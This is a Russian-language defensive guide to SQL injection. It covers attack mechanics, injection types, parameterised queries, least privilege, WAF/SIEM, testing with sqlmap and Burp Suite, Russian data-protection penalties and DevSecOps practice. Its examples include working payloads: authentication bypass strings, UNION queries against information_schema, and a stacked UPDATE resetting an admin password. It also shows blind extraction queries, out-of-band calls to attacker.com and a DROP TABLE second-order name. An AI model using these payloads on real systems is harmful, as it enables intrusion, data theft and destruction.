SQL-инъекция: полный гайд по атакам, защите и нормативным требованиям
SQL-инъекция остаётся одним из самых опасных и при этом до обидного простых способов взлома. Достаточно одной непродуманной строчки в коде и злоумышленник получает доступ к базе данных, конфиденциальной информации, административным функциям. Расскажем, как работает атака, где её искать и как закрыть уязвимость.
Программист пишет функцию поиска, не думая о безопасности. Пользователь вводит «%' OR '1'='1» и получает весь список клиентов. Никто не заметит это до первого инцидента.
Что такое SQL-инъекция — всё ещё самая опасная уязвимость
SQL-инъекция (SQLi) — это одна из самых разрушительных и распространённых атак, специалисты по ИБ сталкиваются с ней каждый день. Уязвимость стабильно входит в OWASP Top 10 под номером A03:2021 — Injection, её регулярно обнаруживают даже в новых, казалось бы защищённых, веб-приложениях.
Проблема не в технологиях, а в подходе к разработке. Мы имеем дело с атакой, которая превращает обычные поля ввода в командную строку для базы данных.
Как это работает: механика атаки от ввода до СУБД
Серверные приложения получают данные из множества источников: HTML-форм, URL-параметров, HTTP-заголовков (таких как User-Agent или Referer) и файлов cookies. Когда эти данные без проверки и экранирования встраиваются прямо в SQL-запрос, рождается уязвимость.
Вот простой код для авторизации пользователя:
SQL
SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input'
Если пользователь введёт логин admin и пароль 12345, запрос будет выглядеть так:
SQL
SELECT * FROM users WHERE username = 'admin' AND password = '12345'
Но хакер может использовать специальный синтаксис. Например, он пишет в поле логина admin’ —. СУБД получает уже изменённый запрос:
SQL
SELECT * FROM users WHERE username = 'admin' --' AND password = '12345'
Обратите внимание: два дефиса (—) в SQL — это символ комментария. СУБД воспринимает всё после двойного дефиса как комментарий и не выполняет его. В итоге выполняется запрос, который просто ищет пользователя с именем admin, игнорируя проверку пароля. Атакующий получает доступ в систему с правами администратора.
Суть SQL-инъекции — пользовательские данные перестают быть просто данными и становятся частью управляющей логики запроса. Это и делает её такой опасной.
Почему SQLi до сих пор актуальна
OWASP прямо указывает на главную причину: недооценка угрозы разработчиками.
Эта уязвимость не исчезает по нескольким причинам:
- Legacy-код. Мир полон проектов, написанных десять лет назад, где безопасность не была приоритетом. Переход на безопасные технологии, такие как ORM или Prepared Statements, требует времени и ресурсов, и часто откладывается.
- Новые фреймворки обычно защищены от SQLi, но разработчики могут её обойти. Использование «сырых» запросов для оптимизации или нестандартных сценариев мгновенно создаёт уязвимость.
- Человеческий фактор и недостаток обучения. Студенты и молодые специалисты часто фокусируются на скорости и функциональности, а не на безопасности. Базовые принципы безопасной разработки (secure coding) редко преподают в вузах.
- Слабый контроль. В большинстве компаний безопасность не является частью стандартного процесса QA. Если в команде нет dedicated-специалиста по ИБ, уязвимости, скорее всего, попадут в продакшн.
Таким образом, SQL-инъекция — это не проблема устаревших технологий, а следствие системных ошибок в процессе разработки, которые мы регулярно наблюдаем.
Как атакуют: примеры SQL-инъекций
SQL-инъекция не требует прямого доступа к серверу или сложных инструментов. Достаточно одной уязвимой формы, URL-параметра или даже заголовка, чтобы неверно обработанные данные превратились в управляемый SQL-запрос.
Мы приводим эти примеры не для того, чтобы научить атаковать, а чтобы показать, как злоумышленники думают и действуют. Понимание механики атак — лучший способ научиться их предотвращать.
Сценарий 1: Классический обход авторизации
Этот приём — классика жанра, но до сих пор встречается в рабочих проектах, особенно в старых системах авторизации. Он позволяет злоумышленнику войти в систему без знания логина и пароля, подменяя логику запроса.
Исходный уязвимый код на PHP:
Представим стандартную форму авторизации, где значения из полей username и password напрямую вставляются в SQL-запрос:
PHP
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
Как атакующий обходит систему:
Атакующий вводит в поле username строку
' OR '1'='1' --
и любое значение в поле password.
В результате SQL-запрос, который отправляется в базу данных, выглядит так:
SQL
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'anything'
Что происходит: СУБД выполняет username = », а затем встречается с
OR '1'='1'.
Так как выражение
1'='1
всегда истинно (TRUE), таким же всё условие. Часть запроса после двойного дефиса (—) воспринимается как комментарий и игнорируется. БД возвращает первую строку из таблицы users, которая обычно принадлежит администратору.
Этот пример наглядно демонстрирует, как вставка данных без параметризации открывает прямой путь к полному обходу авторизации.
Сценарий 2: Раскрытие структуры БД через
UNION SELECT
Если приложение выводит данные из базы напрямую в интерфейс, хакер может использовать
UNION SELECT
чтобы получить сведения о других таблицах и столбцах, даже без доступа к ним. Этот сценарий подчёркивает важность изоляции пользовательского ввода и строгой фильтрации вывода.
Как атакующий раскрывает данные
Шаг 1: Поиск таблиц. Злоумышленник находит уязвимый URL (например, с параметром id=). Он использует
UNION SELECT
для запроса к системной таблице, которая хранит метаданные, например
information_schema.tables .
SQL
?id=1 UNION SELECT null, table_name, null FROM information_schema.tables
- Если приложение не отфильтровало вывод, в результате будет отображён список всех таблиц базы данных: users, orders, admin_log и т.д.
Шаг 2: Извлечение столбцов. Определив нужную таблицу (users), атакующий повторяет атаку, но уже запрашивает имена столбцов:
SQL
?id=1 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users'
- На экране появится список: id, username, password_hash, email. Теперь у хакера есть вся необходимая информация для дальнейших атак.
Этот сценарий показывает, как неконтролируемый вывод данных из базы может стать инструментом для кражи конфиденциальной информации.
Сценарий 3: Скрытая атака на изменение и удаление данных
SQL-инъекция — это не только чтение, но и изменение. Если у пользователя базы данных есть права на запись (UPDATE, DELETE), злоумышленник может использовать эту уязвимость для изменения или удаления информации. Такая атака не сразу заметна, поэтому особенно опасна.
Пример изменения данных:
Атакующий подставляет дополнительную команду SQL в текстовое поле, например, для смены пароля администратора.
PostgreSQL & PL/pgSQL
username=admin'; UPDATE users SET password='new_b_password' WHERE username='admin';--
Что происходит: Уязвимый код сформирует два запроса:
SELECT * FROM users WHERE username = 'admin' ...UPDATE users SET password='new_b_password' WHERE username='admin';
После выполнения первого запроса второй запрос изменит пароль администратора, и атакующий получит полный контроль над системой.
Этот пример показывает, как SQL-инъекция может стать инструментом для саботажа и полного компрометирования системы, если права пользователя базы данных не ограничены.
Если вы — разработчик, тестировщик, аналитик или владелец сервиса, важно не просто знать о таких атаках, а понимать, где они могут возникнуть. Примеры выше помогут распознать уязвимость до того, как её найдёт кто-то другой.
Классификация SQL-инъекций: от классики до сложных атак
SQL-инъекция — не одна конкретная уязвимость, а целый класс техник, различающихся по способу извлечения данных и глубине воздействия. Некоторые типы атак видны сразу — они выбрасывают ошибки и возвращают лишние строки. Другие маскируются под нормальную работу системы и требуют времени, терпения и точных расчётов. Чтобы построить эффективную защиту, нужно понять, с каким типом инъекции вы имеете дело.
Есть несколько подходов к классификации SQL-инъекций. Один из них — по способу взаимодействия с базой данных:
- In-band — атакующий получает результат сразу, в том же канале, откуда отправил запрос. Примеры: Error-based, Union-based.
- Inferential (Blind) — результат нельзя получить напрямую, но можно вывести логическую информацию по реакции сервера. Примеры: Boolean-based, Time-based.
- Out-of-band — взаимодействие происходит через сторонний канал, например, DNS-запрос или HTTP-пинг.
- Second-order — вредоносные данные сохраняются в системе и срабатывают позже, при повторной обработке.
Посимвольное извлечение данных: Blind и Time-based SQL-инъекции
Blind SQL-инъекции возникают тогда, когда сервер не возвращает ошибок или подробного содержимого из базы. Но поведение сервера можно анализировать по логике или по времени ответа. Это один из самых изощрённых, но рабочих подходов, особенно если цель — не просто проникнуть, а остаться незаметным.
Boolean-based Blind
Атакующий отправляет запрос, который содержит условие true или false, и сравнивает поведение приложения. Например:
sql
?id=1 AND 1=1 страница загружается нормально
?id=1 AND 1=2 страница выглядит иначе (пусто, ошибка, редирект)
Меняя условия и анализируя, «что видно, а что нет», злоумышленник по одному биту может восстановить содержимое нужной строки.
Пример запроса, извлекающего первый символ логина:
sql
?id=1 AND SUBSTRING((SELECT login FROM users LIMIT 1), 1, 1) = 'a'
Если ответ сервера отличается — значит, первая буква логина действительно a.
Time-based Blind
Если приложение не даёт визуального отклика, можно использовать задержки. Многие СУБД поддерживают команды типа SLEEP():
sql
?id=1 AND IF(SUBSTRING((SELECT login FROM users LIMIT 1), 1, 1) = 'a', SLEEP(5), 0)
Если сервер отвечает с задержкой — условие выполнено. Если нет — продолжаем перебирать.
В чём опасность: такие атаки незаметны в логах, не вызывают ошибок, часто проходят через стандартные фильтры. Временные инъекции легко автоматизируются в инструментах вроде sqlmap.
Что помогает защититься: строгая параметризация, ограничения на длительность SQL-запросов, поведенческий анализ через WAF и SIEM.
Out-of-band: передача данных через внешние сервисы
Out-of-band SQL-инъекция применяется, когда:
- Прямой вывод невозможен (сервер не возвращает результат).
- Blind-атаки нестабильны или слишком медленны.
- СУБД поддерживает сторонние обращения (например, DNS, HTTP).
Пример для MySQL с поддержкой HTTP-запросов:
sql
SELECT LOAD_FILE('\\\\attacker.com\\log.txt')
Пример для Microsoft SQL Server:
sql
EXEC xp_dirtree '\\attacker.com\share'
Факт обращения сервера к внешнему ресурсу под управлением атакующего — прямое подтверждение уязвимости. Через это соединение можно не только зафиксировать выполнение инъекции, но и вывести данные за пределы защищённого контура.
В чём опасность: атака может происходить в фоновом режиме, без участия пользователя. Даже если результат не виден в браузере, он уходит злоумышленнику.
Как защищаться:
- изолировать сервер БД от интернета
- отключить нестандартные функции вроде xp_cmdshell, LOAD_FILE, dns_lookup
- фильтровать все выходящие запросы на уровне межсетевого экрана
Second-order SQL-инъекции: отложенное срабатывание уязвимости
В этом случае атакующий не пытается вызвать инъекцию сразу. Он внедряет вредоносные данные в систему, а затем ждёт, пока они сработают в другом месте.
Пример сценария:
- Пользователь регистрируется с именем admin’); DROP TABLE users;—.
- Приложение сохраняет это имя как обычную строку.
Позже администратор вручную запускает SQL-команду, подставляя имя в запрос:
sql
SELECT * FROM logs WHERE user = '$username'
Результат: при обработке строки произойдёт выполнение команды, которую ввёл злоумышленник. В зависимости от кода это удаление таблицы, изменение данных или обход прав.
В чём опасность: разработчик не ожидает, что данные из «безопасного» поля могут быть вредоносными. В отличие от классической инъекции, здесь уязвимость срабатывает позже в другой части кода, часто в панели администратора или служебных скриптах.
Как защититься:
- очищать и проверять данные не только при вводе, но и при повторном использовании
- не вставлять пользовательские строки напрямую в SQL, даже если они уже «лежали в базе»
- использовать единые функции работы с БД, которые включают защиту по умолчанию
Данные должны проверяться и фильтроваться не только при вводе, но и при каждом их повторном использовании. Принцип «never trust user input» — «никогда не доверяй вводу пользователя» должен применяться даже к тем данным, которые уже хранятся в вашей базе.
Разнообразие техник SQL-инъекции делает её особенно живучей. Если одна точка закрыта, атакующий переходит к другой. Поэтому защита должна быть системной: параметризация, контроль поведения, ограничения на уровне СУБД и инфраструктуры. Без такого подхода уязвимость вернётся — возможно в другом виде.
- Настройка NAT, VPN, зон, кластеров и L7-фильтрации
- Управление трафиком и повышение безопасности сети
- Пошаговые уроки с примерами из практики
- Электронный сертификат по завершении обучения
Защита: от базовых принципов до построения безопасной архитектуры
- Параметризованные запросы
- ORM и stored procedures
- Принцип наименьших привилегий
- Инфраструктурная защита
SQL-инъекцию не лечат патчами или антивирусами. Единственная рабочая стратегия — системная защита: начиная с параметризации запросов и заканчивая контролем на уровне инфраструктуры. Здесь нет серебряной пули: одна защита не исключает другую. Иначе уязвимость найдёт обход.
Параметризованные запросы: защита, которая не даёт данным стать кодом
Если вы вставляете значения в SQL-строку вручную — это потенциальная инъекция. Даже если фильтруете апострофы, экранируете символы или используете mysqli_real_escape_string().
Единственный надёжный способ защиты — параметризация. Его принцип прост: полное разделение кода запроса и данных так, чтобы база никогда не интерпретировала значения как команды. Такой подход не даст использовать пользовательский ввод в качестве исполняемого кода.
Принцип работы
- Приложение отправляет в СУБД шаблон запроса с «плейсхолдерами» (?, :name или %s).
- Затем приложение передаёт данные, которые должны быть подставлены в эти«»плейсхолдеры».
- СУБД гарантирует, что эти значения будут восприниматься строго как данные, независимо от их содержания (—, UNION, DROP TABLE).
Примеры реализации:
- Python (psycopg2, PostgreSQL):
Python
execute("SELECT * FROM users WHERE login = %s", (username,)) - Java (JDBC):
Java
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE login = ?"); stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
- PHP (PDO):
PHP
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login");
$stmt->execute(['login' => $username]);
Важно: параметризация должна быть сквозной — от авторизации до внутренних обработчиков. Один необработанный SELECT в админке = дырка.
ORM и stored procedures: удобство ≠ безопасность
Многие разработчики ошибочно полагают, что использование ORM (Object-Relational Mapping) или хранимых процедур (stored procedures) автоматически решает проблему SQL-инъекций. Это опасное заблуждение.
ORM действительно снижает риск, так как запросы строятся из безопасных блоков, а не строк. Однако уязвимость возвращается, если:
- Разработчик использует «сырые» запросы (.raw() в Django, createNativeQuery() в Hibernate), обходя механизмы ORM.
- В динамических запросах (WHERE {column} = ‘{value}’) данные из внешнего источника подставляются без валидации.
Пример уязвимого кода в SQLAlchemy:
python
query = f"SELECT * FROM users WHERE {column} = '{value}'"
session.execute(query)
ORM не спасает, если вы обошли его механизмы.
Хранимые процедуры (stored procedures)
Выполняются непосредственно на стороне СУБД, за счёт чего снижается объём SQL-кода, передаваемого от приложения. Логика работы остаётся внутри базы без прямой экспозиции во внешнем коде. Но они тоже небезопасны, если создаются динамически:
sql
CREATE PROCEDURE FindUser (@name NVARCHAR(50))
AS
EXEC('SELECT * FROM users WHERE login = ''' + @name + '''')
Здесь уязвимость очевидна — та же строковая конкатенация.
Вывод: ORM и хранимые процедуры — отличные инструменты для удобной и быстрой разработки. Но они дают ложное чувство безопасности, если их использовать без понимания базовых принципов.
Принцип наименьших привилегий: не давайте базе больше, чем нужно
Если SQL-инъекция всё же сработала, важно, чтобы она не дала атакующему контроль над всей системой. Здесь вступает в игру принцип минимальных прав (least privilege): приложение должно работать под пользователем, у которого нет доступа ни к DROP, ни к GRANT, ни к системным таблицам.
Пример настройки в PostgreSQL:
sql
REVOKE ALL ON DATABASE mydb FROM PUBLIC;
GRANT CONNECT ON DATABASE mydb TO app_user;
GRANT SELECT, INSERT, UPDATE ON TABLE users TO app_user;
В этом примере app_user может только читать и менять данные в нужной таблице. Всё остальное вне зоны его ответственности.
Что важно ограничить:
- доступ к служебным таблицам (information_schema, pg_catalog)
- команды DROP, TRUNCATE, ALTER
- возможность создавать функции (CREATE FUNCTION), особенно небезопасные (в SQL Server — xp_cmdshell, в PostgreSQL — plpythonu)
Контроль прав — это последняя линия обороны. Даже если защита на уровне кода дала сбой, правильно настроенные роли не позволят даже успешной инъекции перерасти в катастрофу.
Инфраструктурная защита: роль WAF и SIEM
Не всё можно поймать в коде. Часто инъекция приходит из нестандартного места: например, через Referer, User-Agent или даже SOAP-запрос. Поэтому помимо кода должна работать инфраструктурная защита.
WAF (Web Application Firewall) анализирует входящие запросы и ищет шаблоны атак: ключевые слова, подозрительные символы, конструкции вроде ‘ OR 1=1. Он может:
- блокировать запрос,
- заменить значение,
- уведомить администратора.
Современные WAF используют поведенческие правила, машинное обучение и контекст — читайте в нашем материале.
SIEM-система собирает логи и события: запросы к БД, ответы сервера, поведение пользователей. Её задача — распознать аномалию, даже если она не очевидна. Об основах SIEM-систем читайте в статье.
Примеры событий, которые должны насторожить ИБ:
- 50 неудачных логинов с одного IP → потенциальный bruteforce.
- Один и тот же cookie встречается у разных пользователей → возможная атака.
- Повторяющийся sleep(5) в SQL → признак Time-based SQLi.
WAF реагирует сразу. SIEM помогает понять, что атака уже идёт. Вместе они закрывают дыры, которые не видны в коде.
SQL-инъекцию нельзя победить одним способом. Только комбинация архитектурной гигиены, ограничений на уровне базы и инфраструктурного анализа делает систему реально устойчивой. Всё остальное — иллюзия контроля.
Как найти SQL-инъекцию: инструменты и методологии тестирования
- Ручное тестирование
- Автоматические сканеры
- False-positives
SQL-инъекция не всегда проявляется явной ошибкой или дампом базы. Чаще это тихая аномалия, которую нужно уметь спровоцировать и распознать. В этом разделе мы разберём практические методы тестирования: от ручных проб, которые дают глубокое понимание, до автоматических сканеров, которые ускоряют процесс.
Ручное тестирование: выявляем уязвимость без инструментов
Первое, что делает специалист по безопасности, — проверяет, как приложение реагирует на нетипичный ввод. Даже без доступа к коду можно выявить слабые места, просто наблюдая за его поведением. Это медленно, но даёт полное понимание уязвимости.
Базовые приёмы:
| Прием | Код | Результат |
|---|---|---|
| Одинарная кавычка (‘): Это самый первый и базовый тест. Мы добавляем кавычку в поле ввода или параметр URL, чтобы «сломать» синтаксис SQL. | ?id=1′ | Если сервер выбрасывает ошибку вроде syntax error near ‘1», это явный признак некорректной обработки SQL-запроса. Если ошибка не появляется, это не значит, что уязвимости нет. |
| Проверка условий (OR 1=1 и OR 1=2): Этот метод позволяет понять, влияет ли наш ввод на логику SQL-запроса. | # Запрос с истинным условием.
?id=1 AND 1=1 # Запрос с ложным условием. ?id=1 AND 1=2
|
Если ответ сервера на первый запрос отличается от второго (например, возвращает больше данных или страницу авторизации), значит, ввод меняет логику SQL-запроса. Это часто работает в поиске, фильтрах и списках. |
| Комментарии (— или #): Мы используем их, чтобы «отрезать» лишнюю часть запроса и проверить, как сервер отреагирует на усечённый запрос. | # Обрезаем остаток запроса
?id=1′ —
|
Если страница загружается без ошибок и возвращает данные, хотя в оригинальном запросе были другие условия (например, проверка пароля), — код уязвим к подстановке. |
При ручной проверке важно использовать избыточность: отправлять странные значения в поля, которые, казалось бы, не должны влиять на SQL. Также необходимо проверять все возможные точки входа: не только формы, но и URL-параметры, cookies и заголовки HTTP (User-Agent, Referer).
Ручное тестирование — медленное, но даёт полное понимание, как работает уязвимость. Именно с него начинают пентестеры, прежде чем запускать автомат.
Автоматические сканеры: SQLMap и Burp Suite
Когда нужно проверить десятки точек входа, вручную это делать неэффективно. Для автоматизации тестирования есть утилиты. Главное — понимать, как они работают и как интерпретировать результаты.
SQLMap: эталонный инструмент для обнаружения SQLi. Это мощный сканер с открытым исходным кодом, который автоматически определяет тип СУБД, ищет уязвимые параметры и извлекает данные. Он может проводить сложные атаки, в том числе time-based и error-based.
Bash
# Базовый пример запуска, который проверяет все параметры на 3 уровне риска
sqlmap -u "http://site.com/page.php?id=1&name=test" --risk=3 --level=5 --batch
Экспертный нюанс: SQLMap умеет работать с авторизацией, используя cookie из файла или прямую подстановку. Можно проверять защищённые части приложения.
Burp Suite: интерактивное тестирование в браузере Burp Suite — комплексная платформа для анализа веб-приложений. Его преимущество — в гибкости и визуальном контроле. Основные модули:
- Proxy позволяет перехватывать и редактировать запросы в реальном времени.
- Intruder: инструмент для массового перебора параметров, который идеально подходит для тестирования на SQLi.
- Scanner (в Pro-версии) автоматически ищет уязвимости, включая SQL-инъекции, XSS и другие.
Burp особенно полезен для точечных проверок и работы с нестандартными API.
False-positives: автомат — не эксперт
Главный недостаток сканеров — они работают без контекста. Любые срабатывания надо верифицировать вручную, иначе вы рискуете потратить время на исправление несуществующих проблем.
Типовые ложные срабатывания:
- Совпадения по ключевым словам. Если в ответе сервера есть фраза syntax error, сканер может посчитать это уязвимостью, даже если это штатная обработка, а не инъекция.
- Технические сбои. Задержка в 5 секунд — не всегда признак time-based инъекции. Это может быть медленная обработка запроса или перегрузка сервера.
Как проверить результат:
- Повторите атаку вручную через Burp Repeater или curl.
- Измените пейлоад, чтобы условие не выполнялось, сравните поведение.
- Просмотрите логи сервера, чтобы понять, что на самом деле произошло.
Вывод: Инструмент — это помощник, а не оракул. Он сокращает время, но не заменяет экспертное понимание. Обнаружение SQL-инъекций — это не проверить сайт сканером, а инженерная работа: понять, где данные попадают в запрос, как они обрабатываются, что происходит на уровне СУБД.
Юридические последствия и штрафы в России
В РФ последствия SQL-инъекции напрямую подпадают под административную, а в отдельных случаях и уголовную ответственность. Особенно если речь идёт о ПДн или системах КИИ. Регулятора не интересует, как скомпрометирована информация, отвечает оператор, не обеспечивший защиту.
№ 152-ФЗ: SQL-инъекция = утечка
№ 152-ФЗ обязывает оператора защищать ПДн от утраты, неавторизованного доступа, изменения, блокировки и других неправомерных действий. Если в ходе SQL-инъекции атакующий их получает, это расценивается как нарушение законодательства.
Классическая ситуация: уязвимость в форме входа позволяет злоумышленнику получить список пользователей, адреса, телефоны, e-mail и хэши паролей. Всё это — персональные данные. Оператор обязан:
- определить угрозы безопасности ПДн
- применить меры защиты
- зафиксировать факт обработки
- ограничить доступ
- назначить ответственного
Если база данных с ПДн открыта через SQL-инъекцию, значит, меры не сработали или не были реализованы вовсе. И это уже повод для претензий со стороны Роскомнадзора.
Штрафы за нарушение закона о ПДн
Статья 13.11 КоАП — ключевая для оценки последствий SQL-инъекции с утечкой данных.
| Нарушение | Штраф (руб.) |
|---|---|
| Невыполнение уведомления о передаче персональных данных | Граждане: 50–100 тыс.
Должностные лица: 400–800 тыс. Организации: 1–3 млн. |
| Неправомерная передача данных | |
| от 1000 до 10 000 субъектов | Граждане: 100–200 тыс.
Должностные лица: 200–400 тыс. Организации: 3–5 млн |
| от 10 000 до 100 000 субъектов:
|
Граждане: 200–300 тыс.
Должностные лица: 300–500 тыс. Организации: 5–10 млн |
| свыше 100 000 субъектов: | Граждане: 300–400 тыс.
Должностные лица: 400–600 тыс. Организации: 10–15 млн |
| Повторное нарушение: | Фиксированный штраф: от 400 тыс. до 600 тыс. для граждан.
От 800 тыс. до 1,2 млн для должностных лиц. До 3% от общей выручки компаний, минимум 20 млн, максимум 500 млн рублей. |
Кто несёт ответственность:
- Юридическое лицо — владелец ИС и оператор ПДн
- Должностное лицо — директор, ИТ-директор, ИБ-специалист (в случае грубой халатности)
- Гражданин — если нарушение связано с индивидуальным предпринимателем или самозанятым
Приказ ФСТЭК России № 21: конкретные меры защиты от SQL-инъекций
SQL-инъекция — не просто технический сбой, а явное нарушение обязательных требований к защите информации, установленных Приказом ФСТЭК № 21. Этот документ разъясняет, какие меры требуются для защиты ПНД при их обработке в информационных системах..
Раздел II, п. 8 — указаны общие меры по обеспечению безопасности ПНд, регламентирующие безопасность на всех уровня
Пункт 8.2 «Управление доступом» подразумевает необходимость четкого разграничения доступа к ресурсам системы. Любое взаимодействие с системой, будь то ввод данных или операции с базой данных, должно происходить в строго контролируемой среде.
Пункт 8.5 «Регистрация событий безопасности» необходима для выявления потенциальных проблем: неправильные запросы или манипуляции с базой данных. Также способствует раннему обнаружению возможных инъекций SQL-кода.
Пункт 8.7 «Обнаружение вторжений» подразумевает обязательность механизмов мониторинга и реагирования на угрозы, включая инъекции SQL-кода, которые являются распространённым методом атаки.
Вывод: Приказ № 21 требует не конкретной защиты от SQL-инъекции, а реализации системной архитектуры, при которой внедрение кода через пользовательский ввод невозможно. Если SQL-инъекция сработала — значит, меры либо не внедрены, либо формально присутствуют, но не выполняют функции. И в этом случае у Роскомнадзора будут все основания признать ИСПДн небезопасной.
КИИ и 187-ФЗ: если уязвимость в критической системе — это уже не только штраф
№ 187-ФЗ регулирует защиту ИС, которые обеспечивают функционирование стратегически важных для государства областей.
Если ваше приложение попадает под КИИ и через SQL-инъекцию был нарушен режим функционирования (утечка, остановка сервиса, удаление данных), последствия могут выйти за рамки административных: для должностных лиц — ответственность по статье 13.12.1. КоАП РФ и по статье 274.1 (ч.3) УК РФ.
Кроме того, в случае КИИ наличие угрозы безопасности может быть основанием для проверок со стороны ФСТЭК и ФСБ. Если окажется, что уязвимость была известна, но не устранена, — компанию ждёт полный аудит и, возможно, приостановка работ.
Взлом через SQL-инъекцию — это всегда больше, чем технический баг. Это сигнал для регулятора, что оператор не выполнил свои обязанности.
Чтобы не платить штрафы, не терять лицензии, не вступать в диалог с прокуратурой, надо устранять уязвимости и документировать все процессы. Это и есть настоящая информационная безопасность.
DevSecOps: как предотвратить SQL-инъекции на всех этапах разработки
Защита от SQL-инъекций не должна начинаться со сканера и заканчиваться на WAF. Настоящая безопасность строится на уровне процесса. Подход DevSecOps — это способ встроить защиту в каждый этап разработки: от проектирования до деплоя. Он помогает предотвращать ошибки, которые в продакшене стоили бы утечки и штрафов.
Security by design: закладываем защиту до первой строки кода
Если архитектура приложения изначально допускает прямую подстановку входных данных в SQL-запрос, то никакая последующая проверка не спасёт.
Безопасность начинается не в момент запуска теста, а на стадии проектирования.
Что это значит:
- В техническом задании (ТЗ) и бэклоге должны быть зафиксированы нефункциональные требования к безопасности: параметризация как обязательное условие, запрет на использование «сырых» SQL-запросов и принцип наименьших привилегий для доступа к базе данных.
- При выборе стека технологий (СУБД, фреймворки, ORM) нужно убедиться, что они поддерживают безопасные методы работы с данными.
- Для каждой точки входа (формы, API, вебхуки) должна быть проведена модель угроз: что может ввести пользователь и какие векторы атак могут быть использованы.
Принцип простой: если вы не объяснили разработчику, как избежать SQL-инъекции, он, скорее всего, сделает «как проще». А это всегда потенциальная уязвимость.
Код-ревью и статический анализ кода (SAST): ловим уязвимости до продакшена
SQL-инъекция всегда видна в коде. Она не возникает «внезапно». Но чтобы её заметить, нужен второй взгляд и автоматизированный инструмент.
Что помогает:
- Код-ревью с чек-листом. В команде должен быть утверждён список «красных флагов»: конкатенация строк в SQL, отсутствие параметров, вызов raw SQL-запросов.
- SAST-инструменты (Static Application Security Testing). Сканируют код без его запуска и находят подозрительные конструкции.
- Open Source: SonarQube, Semgrep, Bandit (для Python).
- Enterprise: Checkmarx, Fortify, AppScan.
Важно. Сканер сам по себе не решает проблему. Он — лишь часть DevSecOps-процесса: обнаружил → оформил задачу → проверил → утвердил патч. Пропущенная SQL-инъекция в продакшене — это не «недосмотрели», это провал всего процесса разработки.
Контроль зависимостей: когда SQL-инъекция приходит через чужую библиотеку
Разработчики используют множество библиотек и фреймворков. Но даже в популярных пакетах находят уязвимости: от обхода валидации до внедрения SQL-пейлоадов при нестандартной сериализации. Если библиотека вызывает SQL-запрос, а её автор допустил ошибку, эта уязвимость станет вашей проблемой.
Что делать:
- Автоматически отслеживать уязвимости (CVE) в зависимостях:
- Для Python: safety, pip-audit, интеграция с GitHub Dependabot.
- Дляjs: npm audit, Snyk.
- Для Java: OWASP Dependency-Check.
- Фиксировать версии в txt, package-lock.json и composer.lock, чтобы не получить уязвимость при автоматическом обновлении.
- Проверять библиотеки, которые генерируют SQL-запросы: шаблонизаторы, Query Builders, ORM.
Вывод: SQL-инъекции могут прийти не через ваш код, а через доверие к чужому. Но отвечать за них всё равно придётся вам.
DevSecOps — это когда безопасность не блокирует разработку, а встроена в неё: как привычка, или автоматизированный процесс. Именно при таком подход вы не будете искать SQL-инъекции, а изначально не допустите их в коде.
Главное
SQL-инъекция — это не рудимент из нулевых, а реальная угроза, которую всё ещё находят в продакшене. Она работает, потому что разработчики по-прежнему вставляют данные напрямую в запросы — и не думают о том, что пользователь может быть атакующим.
Суть SQL-инъекции — в том, что данные становятся частью управляющей логики запроса.
Злоумышленник может читать, менять или удалять данные в базе без логина, без прав.
Есть не один тип SQLi, а целый класс атак. Error-based, Blind, Time-based, Out-of-band, Second-order — все они используют разную технику, но одинаково опасны. Многие из них проходят незаметно и не оставляют ошибок в интерфейсе.
Безопасность нужно закладывать заранее — в архитектуру, код и процесс. Если приложение вставляет данные напрямую в SQL — это уже не вопрос «можно ли взломать», а вопрос «когда это случится». Единственный рабочий подход — параметризация, ограничения прав и DevSecOps-процесс.
Сканеры — не замена пониманию. SQLMap и Burp Suite — мощные инструменты. Но их результаты нужно интерпретировать. Если не ИБ понимает, как работает SQLi, она будет либо пропускать уязвимости, либо бороться с фантомами.
За SQL-инъекцию платят не только данными, но и деньгами. В 2025 году штрафы выросли кратно и теперь рассчитываются в зависимости от масштаба инцидента.
ФСТЭК прямо требует защищать ИСПДн от внедрения кода. Если инъекция возможна, значит, меры либо не реализованы, либо реализованы формально. Роскомнадзор это учитывает.
DevSecOps — это единственный способ не допускать SQL-инъекции в принципе. Безопасная архитектура, статический анализ, контроль зависимостей и культура код-ревью — вот инструменты, которые реально работают.
SQL-инъекцию не просто нужно найти — её нужно не допустить. Это дешевле, быстрее и надёжнее, чем разбираться с последствиями. Если вы хотите, чтобы защита работала — начинайте с процесса — не с патчей, а с подхода.
- Настройка NAT, VPN, зон, кластеров и L7-фильтрации
- Управление трафиком и повышение безопасности сети
- Пошаговые уроки с примерами из практики
- Электронный сертификат по завершении обучения